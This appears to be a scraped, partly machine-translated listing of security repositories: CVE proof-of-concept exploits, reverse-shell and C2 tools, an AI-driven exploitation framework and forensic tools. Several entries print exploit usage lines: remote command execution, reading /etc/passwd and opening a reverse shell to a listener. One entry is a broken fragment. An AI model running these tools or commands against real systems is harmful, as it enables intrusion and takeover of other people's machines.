CVE-2025-42944

CVE-2025-42944 En raison d'une vulnérabilité de désérialisation dans SAP NetWeaver, un attaquant non authentifié pourrait exploiter le système via le module RMI-P4 en soumettant une charge utile malveillante sur un port ouvert. La désérialisation de ces objets Java non fiables pourrait conduire à...

POC-CVE-2026-19286

Description Proof of concept exploit code for CVE-2026-19286 Usage python3 poc.py -url -uname -pword -c...

CVE-2020-13151

CVE-2020-13151 POC Aerospike Database 5.1.0.3 Exécution de commandes sur l'hôte Article complet @ https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html poc.lua montre l'exploitation manuelle du serveur cve2020-13151.py pour l'exploitation automatisée run-poc.sh...

sleuthkit

The Sleuth Kit INTRODUCTION The Sleuth Kit is an open source forensic toolkit for analyzing Microsoft and UNIX file systems and disks. The Sleuth Kit enables investigators to identify and recover evidence from images acquired during incident response or from live systems. The Sleuth Kit is open...

CVE-2021-3156

CVE-2021-3156 Description Sudo avant 1.9.5p2 présente un débordement de tampon basé sur le tas Heap-based Buffer Overflow, permettant une élévation de privilèges vers root via « sudoedit -s » et un argument de ligne de commande se terminant par un seul caractère antislash...

shennina

Shennina Automating Host Exploitation with AI Abstract Shennina is an automated host exploitation framework. The mission of the project is to fully automate the scanning, vulnerability scanning/analysis, and exploitation using Artificial Intelligence. Shennina is integrated with Metasploit and Nm...

CVE-2025-3248-POC

CVE-2025-3248-POC POC de CVE-2025-3248 exécute n'importe quelle commande sur la machine cible utilisation : python poc.py 'http://xxx.com' 'ls /' laissez un peu d'amour sur les ordinateurs des victimes poc.py...

CVE-2019-13051

Pi-Hole 4.3.2 Injection de commandes et élévation de privilèges CVE-2019-13051 Pi-Hole version 4.3.2 contient un correctif pour cette vulnérabilité :https://github.com/pi-hole/AdminLTE/pull/974 Un grand merci à l'équipe de développement de Pi-Hole pour leur projet génial et pour avoir rendu le...

cve-2022-22947

cve-2022-22947 PoC pour cve-2022-22947 Utilisation : python python cve-2022-22947.py url cmd...

powershell-reverse-tcp

PowerShell Reverse TCP PowerShell scripts for communicating with a remote host. Remote host will have a full control over the client and all the underlying system commands. Check shells based on: Invoke-Expression PowerShell command here, process pipes here. Tested with PowerShell v5.1.19041.2673...

GTRS

GTRS - Google Translator Reverse Shell Cet outil utilise Google Translator comme proxy pour envoyer des commandes arbitraires à une machine infectée. MACHINE INFECTÉE ==HTTPS== GOOGLE TRANSLATE ==HTTP== C2 Configuration de l'environnement Vous avez d'abord besoin d'un VPS et d'un domaine, pour le...

PIL-RCE-By-GhostButt

Эксплуатация уязвимости выполнения команд в модуле Python PIL Атака на Python-приложения, разработанные с использованием PIL, с целью достижения удалённого выполнения команд. Этот проект предназначен для размещения исходного кода и Dockerfile, используемых в статье и экспериментах. Paper :...

CVE-2022-22954

Détection de multiples points de déclenchement de vulnérabilités, détection par lots multithread, exécution de commandes, écriture de fichiers // 单个目标漏洞检测 python CVE-2022-22954.py -u https://x.x.x.x // 命令执行 python CVE-2022-22954.py -u https://x.x.x.x -c "id" // 写文件 python CVE-2022-22954.py -u...

freeswitch_rce

version: !1https:/...

Solr_CVE-2019-17558

SolrCVE-2019-17558 Utilisation : python3 SolrCVE-2019-17558.py url whoami...

DropboxC2C

DropboxC2C DropboxC2C est un agent de post-exploitation qui utilise l'infrastructure Dropbox pour les opérations de commande et de contrôle. NE PAS UTILISER CECI À DES FINS MALVEILLANTES. L'AUTEUR N'EST PAS RESPONSABLE DE TOUT USAGE ABUSIF DE CE PROGRAMME. Dropbox-C2C est un ancien projet que j'a...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

CVE-2021-44228-log4Shell

Exploit CVE-2021-44228-log4Shell Test de l'exploit exécute un ping vers google.com exécute n'importe quelle commande affiche le nom, la version et l'architecture du système d'exploitation collecte des détails sur le système d'exploitation et l'utilisateur ouvre la calculatrice sur la machine...

CVE-2019-16920-MassPwn3r

Exploit 0day pour plusieurs routeurs D-Link La vulnérabilité a été trouvée dans le dernier firmware des produits D-Link suivants : DIR-655 DIR-866L DIR-652 DHP-1565 Description actuelle Une exécution de code à distance non authentifiée se produit sur des produits D-Link tels que DIR-655C, DIR-866...

thrunt-god

Du signal, à l'essaim. Pas de dieux. Seulement Thrunt. Système de commandes de threat hunting pour IDE agentiques. Claude Code · OpenCode · Gemini · Codex · Copilot · Cursor · Windsurf /thrunt:autonomous | une commande, une chasse complète Installation · Phases · Commandes · Flux · Artefacts...